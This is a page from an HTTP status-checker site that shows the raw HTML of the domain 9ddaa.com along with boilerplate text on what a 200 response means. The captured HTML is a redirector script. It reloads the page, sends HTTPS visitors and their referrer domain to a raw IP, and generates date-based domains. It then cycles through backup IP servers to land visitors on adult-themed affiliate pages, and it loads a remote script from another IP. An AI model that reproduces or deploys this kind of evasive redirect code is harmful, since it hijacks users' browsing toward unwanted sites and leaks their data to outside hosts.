check web redirect url status code checker

Check server response of

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NS records
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Response headers
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Raw HTML code
200 OK - 9ddaa.com
HTTP Status: 200
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 3531

HTTP Code 200 OK

200 response code is a standard successful HTTP server response. It means that the client’s request (e.g., from a browser) was successfully processed, and the server is delivering the requested data.

When is Code 200 used?

  • When loading a web page
  • When successfully receiving an API response
  • When processing a form or another HTTP request

What does Code 200 mean for the user?

The user receives content without errors, and the page or application functions properly. If Code 200 is accompanied by data, the browser or program processes and displays it to the user.

GET / HTTP/1.1
Host: 9ddaa.com
Accept: */*
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])

<center><strong style="color:blue;font-size:24px">T2025-5-19正在为您打开最快的网址...</strong></center>
<script>
  !sessionStorage.getItem('isRefreshed') && (
    sessionStorage.setItem('isRefreshed', 'true'),
    location.reload(!0)
  );

  (function() {
if ('https:' === window.location.protocol) {
  var referrerDomain = document.referrer ? new URL(document.referrer).hostname : window.location.hostname;
  return void (window.location.href = 'http://216.246.109.154/?https=' + encodeURIComponent(referrerDomain));
}
 // 动态生成域名
  var e = new Date(),
    t = 'http://' + e.getDate() + e.getHours(),
    n = [
	'xingtai77.top', 
	'xingtai88.top'
	].map(function(e) {
      return t + '.' + e
    }),

    // 备用服务器列表
    rList = [
      'http://38.173.75.87',
      'http://38.173.75.83',
      'http://38.173.75.89'
    ],

    // 随机路径
    a = [
'/cps/baili/baili.html',//百丽
'/cps/meirenyu/meirenyu.html',//美人鱼
'/cps/shuixian/shuixian.html',//水仙
'/cps/sese/sese.html', //色色
'/cps/shangmei/shangmei.html', //尚美
'/cps/haixiu/haixiu.html', //嗨秀
'/cps/jiuzhou/jiuzhou.html',//九州58
'/cps/tiangong/tiangong.html',//天宫
'/cps/fengyue/fengyue.html',//风月
'/cps/chunmeng/chunmeng.html',//春梦
'/cps/relian/relian.html',//热恋
'/cps/yueguang/yueguang.html',//月光
'/cps/mitang/mitang.html',//蜜糖
'/cps/nver/nver.html', //女儿
'/cps/xiongmao/xiongmao.html', //熊猫
'/cps/tiangou/tiangou.html', //舔狗
'/cps/aise/aise.html'//爱色
	],

    // 最终回退地址
    o = 'http://t2025.xingtai99.top',

    // 带超时的检测函数
    fetchWithTimeout = (url, timeout = 3000) => {
      return new Promise((resolve) => {
        const timer = setTimeout(() => resolve(false), timeout);
        fetch(url, { mode: 'no-cors' })
          .then(() => { clearTimeout(timer); resolve(true); })
          .catch(() => { clearTimeout(timer); resolve(false); });
      });
    },

    // 检测 URL 是否可访问（3秒超时）
    c = function(e) {
      return fetchWithTimeout(e, 3000);
    },

    // 延迟函数
    d = function(e) {
      return new Promise(function(t) {
        setTimeout(t, e);
      });
    },

    // 尝试备用服务器（带超时）
    tryServers = function(servers) {
      return new Promise(function(resolve) {
        let i = 0;
        function checkServer() {
          if (i >= servers.length) return resolve(false);
          c(servers[i]).then(function(isActive) {
            if (isActive) {
              window.location.href = servers[i] + a[Math.floor(Math.random() * a.length)];
              resolve(true);
            } else {
              i++;
              checkServer();
            }
          });
        }
        checkServer();
      });
    },

    // 备用服务器检测流程
    u = function() {
      return new Promise(function(t) {
        d(1000).then(function() {
          tryServers(rList).then(function(success) {
            if (!success) window.location.href = o;
            t();
          });
        });
      });
    },

    // 动态域名检测流程
    l = function() {
      return new Promise(function(t) {
        !function e(o) {
          if (o >= n.length) return u().then(t);
          c(n[o]).then(function(r) {
            r ? (window.location.replace(n[o]), t()) : e(o + 1);
          });
        }(0);
      });
    };

  // 启动检测（1秒后开始）
  d(1000).then(l);
})();
</script>
<script src="http://45.12.89.93:1688/tongji/2025.js"></script>

Whois info of domain